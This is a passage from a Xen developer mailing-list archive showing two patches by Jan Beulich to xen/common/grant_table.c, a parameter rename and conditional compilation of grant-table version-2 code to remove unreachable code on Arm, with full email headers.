	LtYOXCRkVZA36EPDtR6gGt9DcaID1TOPGMVLzJfPB8jqtPXT3KNCt1sjdhLmVbw7fCiBc71ysgA
	SqkA75D82WMjogmhHZglMKzojJ0gY8ChQ88WrBRB5tLzHGnVgPRViru8qVSwKol3R+N/bQLfRoi
	8jyjH5jtuCqN8vgiOiMvtqGdG7F0K+yHsP4T6zbZqVAjtwHXSJ0UdFRS/jmya8yVhYibISIhpX1
	fJdsxaLOR8PaVSVZCyE6SrnN3z5c4f1nIaVoDJNIyXeopTIUej/m/CauvTzX1OozSH3Q==
X-Received: by 2002:a05:6000:41ed:b0:47f:8cd3:4bed with SMTP id ffacd0b85a97d-47fb1e8547cmr3258724f8f.5.1785246743193;
        Tue, 28 Jul 2026 06:52:23 -0700 (PDT)
Message-ID: <06d74bd4-86f1-4c25-a6f7-f4e1c9de199f@suse.com>
Date: Tue, 28 Jul 2026 15:52:21 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 6/7] gnttab: rename a parameter of
 gnttab_populate_status_frames()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785246743-6F6C64E9-1CE03113/0/0
X-purgate-type: clean
X-purgate-size: 1078

In a function of this name, "nr" (and hence req_nr_frames) is, at the
first and second glance, the number of frames to populate. That's
misleading, and it's also only what one of the two callers
(gnttab_grow_table()) actually passes in; the other (gnttab_set_version())
passes the number of grant frames already in place.

Fold declarations while at it, and convert the assignment to an
initializer.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -1807,12 +1807,9 @@ fault:
 
 static int
 gnttab_populate_status_frames(struct domain *d, struct grant_table *gt,
-                              unsigned int req_nr_frames)
+                              unsigned int grant_frames)
 {
-    unsigned int i;
-    unsigned int req_status_frames;
-
-    req_status_frames = grant_to_status_frames(req_nr_frames);
+    unsigned int i, req_status_frames = grant_to_status_frames(grant_frames);
 
     /* Make sure, prior version checks are architectural visible */
     block_speculation();



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:53:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:53:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374286.1621325 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiF5-0000cb-95; Tue, 28 Jul 2026 13:53:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374286.1621325; Tue, 28 Jul 2026 13:53:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiF5-0000cU-5b; Tue, 28 Jul 2026 13:53:11 +0000
Received: by outflank-mailman (input) for mailman id 1374286;
 Tue, 28 Jul 2026 13:53:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiF3-0000c9-55
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:53:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiF2-007Hx9-Hd
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:53:08 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b42c-e002-0a2a0a5209dd-0a2a4507ca76-44
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:53:08 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b444-b4ea-0a2a45070019-d1558031e50c-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:53:08 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-4957eefd361so28699575e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:53:08 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44af22dsm72996535e9.1.2026.07.28.06.53.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:53:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246788; x=1785851588; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=7d/y3edQde9sNrzZI5Z21bvZ8131PvVZbw6OvYDGVRE=;
        b=cDshc/xJSTuTNxVGEDcXM4biXCyaLPgU/Miq20ufvXLtc5bOedHP0Dte1BOxKiufkk
         +fWo05ySE9+A2X3QGi7J/XREl0qQifvN2HyVnzhVyXc3zoMmDk1KQ+poqtleDzwcn/Rz
         ISuToUvDZxoRolRIOKJguxdQ/JykDVmdwEgdAobjUB6rHxfyURP2uGkAXRrJZIDdsG/j
         V/a7egxxEjMVAbazFYIKTxQcc9TFOAvHhMbDqNEpX+cjLkxwfw0rrxGC+wNwJNP+g0En
         PSWrPPVklGl/et+6vIlOta+5wsSJPA66YmLfLNUX1zrE3NgiXq9brrx3SQgH/nyTtZfl
         u3Ew==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246788; x=1785851588;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=7d/y3edQde9sNrzZI5Z21bvZ8131PvVZbw6OvYDGVRE=;
        b=XvpIM/EI9kWN7pOBUjef9h51kL/Vy2rrXfQ66IpvpJlRS5xcBUToZ1MLcdjutJyynN
         bOJYCRKs1TuSVpAaGA0L0sIPf203N+UhtvggAv+3DAqghByEh1f2yqIoB9ZLVrHtv4ck
         PK0dK6DMgsf21QuF9Pk5X6hrmReu4djH3ph5TMqwA1eHIwC6bfmCsUqVtgKjNt4luKUO
         35KslNTqbUb7veOT4L2Au9Wh8OYZoX57MLKj2x4PZxP6k38LGVX/Q63dJja96fObAuff
         osLC/hias6EfL2Jaua4/1+XWMOqYKYcBk3Pn8vQO30pCERoXJ10BTVk+hrMh4UgGAVJ3
         3W6w==
X-Gm-Message-State: AOJu0YxLNfKZmCz1fGNMXHE0jVVQmitv5rGsI8MwXXFbetBIb44c6XCa
	Tu9rNDxbVgrpj55XVFiAnxs841CxioEfNkDp8+z97xvR8/x5hYJ9qidZajEtr9yt0araq8fwr2K
	uJFnUBQ==
X-Gm-Gg: AR+sD1098aK5qdSEFjvOViJ+MdquQ9Jmqg+duk0fen38oucdUuA23IK5BLMmCq/9Yvj
	YsT5M8SSjYOWEuLKDSEvN41wdFmZXvPW9PJ+wtjfz5JDPAdtpdkPbEEDYeNo0A4reSxEgMHpDvu
	j9cSf7Z6ryFpHBnOVJkgg7qILynGdMow1gqiG4Wx7Ho//K00/K9FMOLKRUKH2ht6Wm8ZXwXroXX
	C+NcN4gP4F4/wfduVi/Z2pbIuBDoh96Ysik4H+e5/O7vDC4s+qxdxww8WZEYp2gbkrx2Y4VBhUB
	ZIgvYmj3qAsqpjhPxsBaxMEtB7nctJdxWrtssPnEBlgmMwTnjsktBZSh4CS/Y1iI+vpMI2t3IrS
	j3carly9v1Mn+Z45lPRmcz9d8tu1HwlZCwcQ1/i8eWM4XcHr21tZEBm4o1N8WVqw+gH11DTJqQj
	z5EhCGxuYEROw73lVum+tbfF6QqI9m09hX9k4Tusbm8gdMDz053YoJRwtpuedlcNqAYg==
X-Received: by 2002:a05:600c:3b1e:b0:493:bd2a:93bb with SMTP id 5b1f17b1804b1-496c653d055mr27394725e9.3.1785246787872;
        Tue, 28 Jul 2026 06:53:07 -0700 (PDT)
Message-ID: <436c0688-8b9a-4e56-9d4c-c81dcfbea56e@suse.com>
Date: Tue, 28 Jul 2026 15:53:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 7/7] gnttab: unreachable code when GNTTAB_MAX_VERSION < 2
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>,
 Nicola Vetrini <nicola.vetrini@bugseng.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785246788-A5AC0AE4-4BE619D7/0/0
X-purgate-type: clean
X-purgate-size: 17849

I'm surprised Eclair doesn't spot the large chunks of unreachable code on
Arm, i.e. violations of Misra C:2012 rule 2.1.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
This pretty certainly isn't dealing with everything. For example, with
another helper the gt_version field could likely also become conditional.
With some more effort the nr_status_frames field similarly could become
conditional.

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -72,8 +72,10 @@ struct grant_table {
     /* Number of grant status frames shared with guest (for version 2) */
     unsigned int          nr_status_frames;
 
+#if GNTTAB_MAX_VERSION >= 2
     /* Number of version 2 operations in progress. */
     atomic_t              nr_v2_ops;
+#endif /* GNTTAB_MAX_VERSION >= 2 */
 
     /*
      * Number of available maptrack entries.  For cleanup purposes it is
@@ -182,12 +184,10 @@ static int cf_check parse_gnttab_max_map
                               opt_max_maptrack_frames_val);
 }
 
-#ifndef GNTTAB_MAX_VERSION
-#define GNTTAB_MAX_VERSION 2
-#endif
-
+#if GNTTAB_MAX_VERSION >= 2
 unsigned int __read_mostly opt_gnttab_max_version = GNTTAB_MAX_VERSION;
 static bool __read_mostly opt_transitive_grants = true;
+#endif
 #ifdef CONFIG_PV
 static bool __ro_after_init opt_grant_transfer = true;
 #else
@@ -196,17 +196,24 @@ static bool __ro_after_init opt_grant_tr
 
 static int __init cf_check parse_gnttab(const char *s)
 {
-    const char *ss, *e;
-    int val, rc = 0;
+    const char *ss;
+    int rc = 0;
 
     do {
+        int val;
+
         ss = strchr(s, ',');
         if ( !ss )
             ss = strchr(s, '\0');
 
-        if ( !strncmp(s, "max-ver:", 8) ||
-             !strncmp(s, "max_ver:", 8) ) /* Alias for original XSA-226 patch */
+        if ( false )
+            (void)val; /* Nothing. */
+#ifndef opt_gnttab_max_version
+        else if ( !strncmp(s, "max-ver:", 8) ||
+                  /* Alias for original XSA-226 patch */
+                  !strncmp(s, "max_ver:", 8) )
         {
+            const char *e;
             long ver = simple_strtol(s + 8, &e, 10);
 
             if ( e == ss && ver >= 1 && ver <= 2 )
@@ -216,6 +223,7 @@ static int __init cf_check parse_gnttab(
         }
         else if ( (val = parse_boolean("transitive", s, ss)) >= 0 )
             opt_transitive_grants = val;
+#endif
 #ifndef opt_grant_transfer
         else if ( (val = parse_boolean("transfer", s, ss)) >= 0 )
             opt_grant_transfer = val;
@@ -330,10 +338,12 @@ shared_entry_header(struct grant_table *
         block_speculation();
         return (grant_entry_header_t*)&shared_entry_v1(t, ref);
 
+#if GNTTAB_MAX_VERSION >= 2
     case 2:
         /* Returned values should be independent of speculative execution */
         block_speculation();
         return &shared_entry_v2(t, ref).hdr;
+#endif
     }
 
     ASSERT_UNREACHABLE();
@@ -378,6 +388,9 @@ struct active_grant_entry {
 })
 
     domid_t       domid;  /* Domain being granted access.             */
+
+#if GNTTAB_MAX_VERSION >= 2
+
     domid_t       src_domid; /* Original domain granting access.      */
     unsigned int  start:15; /* For sub-page grants, the start offset
                                in the page.                           */
@@ -385,6 +398,9 @@ struct active_grant_entry {
     unsigned int  length:16; /* For sub-page grants, the length of the
                                 grant.                                */
     grant_ref_t   trans_gref;
+
+#endif /* GNTTAB_MAX_VERSION < 2 */
+
     mfn_t         mfn;    /* Machine frame being granted.             */
 #ifndef NDEBUG
     gfn_t         gfn;    /* Guest's idea of the frame being granted. */
@@ -405,6 +421,15 @@ static inline void act_set_gfn(struct ac
 #endif
 }
 
+static bool act_is_sub_page(const struct active_grant_entry *act)
+{
+#if GNTTAB_MAX_VERSION >= 2
+    return act->is_sub_page;
+#else
+    return false;
+#endif
+}
+
 static DEFINE_PERCPU_RWLOCK_GLOBAL(grant_rwlock);
 
 static always_inline void grant_read_lock(struct grant_table *gt)
@@ -724,6 +749,7 @@ static unsigned int nr_grant_entries(str
         block_speculation();
         return f2e(nr_grant_frames(gt), 1);
 
+#if GNTTAB_MAX_VERSION >= 2
     case 2:
         BUILD_BUG_ON(f2e(INITIAL_NR_GRANT_FRAMES, 2) <
                      GNTTAB_NR_RESERVED_ENTRIES);
@@ -731,6 +757,7 @@ static unsigned int nr_grant_entries(str
         /* Make sure we return a value independently of speculative execution */
         block_speculation();
         return f2e(nr_grant_frames(gt), 2);
+#endif /* GNTTAB_MAX_VERSION >= 2 */
 #undef f2e
     }
 
@@ -919,7 +946,7 @@ static int _set_status(const grant_entry
                        domid_t ldomid)
 {
 
-    if ( evaluate_nospec(rgt_version == 1) )
+    if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(rgt_version == 1) )
         return _set_status_v1(shah, rd, act, readonly, mapflag, ldomid);
     else
         return _set_status_v2(shah, status, rd, act, readonly, mapflag, ldomid);
@@ -1089,17 +1116,18 @@ map_grant_ref(
     if ( act->pin &&
          ((act->domid != ld->domain_id) ||
           (act->pin & GNTPIN_incr2oflow_mask(pin_incr)) ||
-          (act->is_sub_page)) )
+          act_is_sub_page(act)) )
     {
         gdprintk(XENLOG_WARNING,
                  "Bad domain (%d != %d), or risk of counter overflow %08x, or subpage %d\n",
-                 act->domid, ld->domain_id, act->pin, act->is_sub_page);
+                 act->domid, ld->domain_id, act->pin, act_is_sub_page(act));
         rc = GNTST_general_error;
         goto act_release_out;
     }
 
     /* Make sure we do not access memory speculatively */
-    status = evaluate_nospec(rgt->gt_version == 1) ? &shah->flags
+    status = GNTTAB_MAX_VERSION < 2 ||
+             evaluate_nospec(rgt->gt_version == 1) ? &shah->flags
                                                    : &status_entry(rgt, ref);
 
     if ( !act->pin ||
@@ -1113,9 +1141,10 @@ map_grant_ref(
 
         if ( !act->pin )
         {
-            unsigned long gfn = evaluate_nospec(rgt->gt_version == 1) ?
-                                shared_entry_v1(rgt, ref).frame :
-                                shared_entry_v2(rgt, ref).full_page.frame;
+            unsigned long gfn = GNTTAB_MAX_VERSION < 2 ||
+                                evaluate_nospec(rgt->gt_version == 1)
+                                ? shared_entry_v1(rgt, ref).frame
+                                : shared_entry_v2(rgt, ref).full_page.frame;
 
             rc = get_paged_frame(gfn, &mfn, &pg,
                                  op->flags & GNTMAP_readonly, rd);
@@ -1124,11 +1153,13 @@ map_grant_ref(
             act_set_gfn(act, _gfn(gfn));
             act->domid = ld->domain_id;
             act->mfn = mfn;
+#if GNTTAB_MAX_VERSION >= 2
             act->start = 0;
             act->length = PAGE_SIZE;
             act->is_sub_page = false;
             act->src_domid = rd->domain_id;
             act->trans_gref = ref;
+#endif /* GNTTAB_MAX_VERSION >= 2 */
         }
     }
 
@@ -1350,7 +1381,8 @@ map_grant_ref(
 
     grant_read_lock(rgt);
 
-    if ( unlikely(evaluate_nospec((rgt->gt_version == 1) !=
+    if ( GNTTAB_MAX_VERSION >= 2 &&
+         unlikely(evaluate_nospec((rgt->gt_version == 1) !=
                                   (status == &shah->flags))) )
     {
         /*
@@ -1625,7 +1657,7 @@ unmap_common_complete(struct gnttab_unma
 
     act = active_entry_acquire(rgt, op->ref);
 
-    if ( evaluate_nospec(rgt->gt_version == 1) )
+    if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(rgt->gt_version == 1) )
         status = &shared_entry_v1(rgt, op->ref).flags;
     else if ( evaluate_nospec(op->ref < nr_grant_entries(rgt)) )
         status = &status_entry(rgt, op->ref);
@@ -1947,7 +1979,7 @@ gnttab_grow_table(struct domain *d, unsi
     }
 
     /* Status pages - version 2 */
-    if ( evaluate_nospec(gt->gt_version > 1) )
+    if ( GNTTAB_MAX_VERSION >= 2 && evaluate_nospec(gt->gt_version > 1) )
     {
         if ( gnttab_populate_status_frames(d, gt, req_nr_frames) )
             goto shared_alloc_failed;
@@ -2122,7 +2154,7 @@ gnttab_setup_table(
     }
 
     if ( (op.nr_frames > nr_grant_frames(gt) ||
-          ((gt->gt_version > 1) &&
+          ((GNTTAB_MAX_VERSION >= 2) && (gt->gt_version > 1) &&
            (grant_to_status_frames(op.nr_frames) > nr_status_frames(gt)))) &&
          gnttab_grow_table(d, op.nr_frames) )
     {
@@ -2472,7 +2504,8 @@ gnttab_transfer(
         grant_read_lock(e->grant_table);
         act = active_entry_acquire(e->grant_table, gop.ref);
 
-        if ( unlikely(evaluate_nospec(e->grant_table->gt_version != ver)) )
+        if ( GNTTAB_MAX_VERSION >= 2 &&
+             unlikely(evaluate_nospec(e->grant_table->gt_version != ver)) )
         {
             rc = -EILSEQ;
             goto release;
@@ -2538,12 +2571,13 @@ release_grant_for_copy(
     act = active_entry_acquire(rgt, gref);
     mfn = act->mfn;
 
-    if ( evaluate_nospec(rgt->gt_version == 1) )
+    if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(rgt->gt_version == 1) )
     {
         status = &shared_entry_v1(rgt, gref).flags;
         td = rd;
         trans_gref = gref;
     }
+#if GNTTAB_MAX_VERSION >= 2
     else
     {
         if ( evaluate_nospec(gref < nr_grant_entries(rgt)) )
@@ -2552,6 +2586,7 @@ release_grant_for_copy(
              ? rd : knownalive_domain_from_domid(act->src_domid);
         trans_gref = act->trans_gref;
     }
+#endif /* GNTTAB_MAX_VERSION >= 2 */
 
     if ( readonly )
     {
@@ -2566,13 +2601,15 @@ release_grant_for_copy(
 
     reduce_status_for_pin(rd, act, status, readonly);
 
+#if GNTTAB_MAX_VERSION >= 2
     if ( !act->pin && act->is_sub_page )
         atomic_dec(&rgt->nr_v2_ops);
+#endif
 
     active_entry_release(act);
     grant_read_unlock(rgt);
 
-    if ( td != rd )
+    if ( GNTTAB_MAX_VERSION >= 2 && td != rd )
     {
         /*
          * Recursive call, but it is bounded (acquire permits only a single
@@ -2593,8 +2630,11 @@ release_grant_for_copy(
 static int
 acquire_grant_for_copy(
     struct domain *rd, grant_ref_t gref, domid_t ldom, bool readonly,
-    mfn_t *mfn, struct page_info **page, uint16_t *page_off,
-    uint16_t *length, bool allow_transitive)
+    mfn_t *mfn, struct page_info **page
+#if GNTTAB_MAX_VERSION >= 2
+    , uint16_t *page_off, uint16_t *length, bool allow_transitive
+#endif
+    )
 {
     struct grant_table *rgt = rd->grant_table;
     grant_entry_v2_t *sha2;
@@ -2637,7 +2677,7 @@ acquire_grant_for_copy(
         goto unlock_out;
     }
 
-    if ( evaluate_nospec(rgt->gt_version == 1) )
+    if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(rgt->gt_version == 1) )
     {
         sha2 = NULL;
         status = &shah->flags;
@@ -2652,6 +2692,7 @@ acquire_grant_for_copy(
     barrier();
 
     old_pin = act->pin;
+#if GNTTAB_MAX_VERSION >= 2
     if ( sha2 && (shflags & GTF_type_mask) == GTF_transitive )
     {
         domid_t trans_domid;
@@ -2786,8 +2827,10 @@ acquire_grant_for_copy(
         else
             atomic_dec(&rgt->nr_v2_ops);
     }
-    else if ( !old_pin ||
-              (!readonly && !(old_pin & (GNTPIN_devw_mask|GNTPIN_hstw_mask))) )
+    else
+#endif /* GNTTAB_MAX_VERSION >= 2 */
+    if ( !old_pin ||
+         (!readonly && !(old_pin & (GNTPIN_devw_mask|GNTPIN_hstw_mask))) )
     {
         unsigned long gfn;
 
@@ -2828,23 +2871,29 @@ acquire_grant_for_copy(
         if ( !act->pin )
         {
             act->domid = ldom;
+            act->mfn = grant_mfn;
+
+#if GNTTAB_MAX_VERSION >= 2
             act->is_sub_page = is_sub_page;
             act->start = trans_page_off;
             act->length = trans_length;
             act->src_domid = rd->domain_id;
             act->trans_gref = gref;
-            act->mfn = grant_mfn;
 
             if ( is_sub_page )
                 atomic_inc(&rgt->nr_v2_ops);
+#endif /* GNTTAB_MAX_VERSION >= 2 */
         }
         else if ( !mfn_eq(act->mfn, grant_mfn) ||
+#if GNTTAB_MAX_VERSION >= 2
                   act->src_domid != rd->domain_id ||
                   act->trans_gref != gref ||
                   (act->is_sub_page &&
                    (!is_sub_page ||
                     act->start != trans_page_off ||
-                    act->length != trans_length)) )
+                    act->length != trans_length)) ||
+#endif /* GNTTAB_MAX_VERSION >= 2 */
+                  false )
         {
             put_page(*page);
             *page = NULL;
@@ -2881,8 +2930,10 @@ acquire_grant_for_copy(
 
     act->pin += pin_incr;
 
+#if GNTTAB_MAX_VERSION >= 2
     *page_off = act->start;
     *length = act->length;
+#endif
     *mfn = act->mfn;
 
     active_entry_release(act);
@@ -3014,13 +3065,20 @@ static int gnttab_copy_claim_buf(const s
         rc = acquire_grant_for_copy(buf->domain, ptr->u.ref,
                                     current->domain->domain_id,
                                     buf->read_only,
-                                    &buf->mfn, &buf->page,
-                                    &buf->ptr.offset, &buf->len,
-                                    opt_transitive_grants);
+                                    &buf->mfn, &buf->page
+#if GNTTAB_MAX_VERSION >= 2
+                                    , &buf->ptr.offset, &buf->len,
+                                    opt_transitive_grants
+#endif
+                                    );
         if ( rc != GNTST_okay )
             goto out;
         buf->ptr.u.ref = ptr->u.ref;
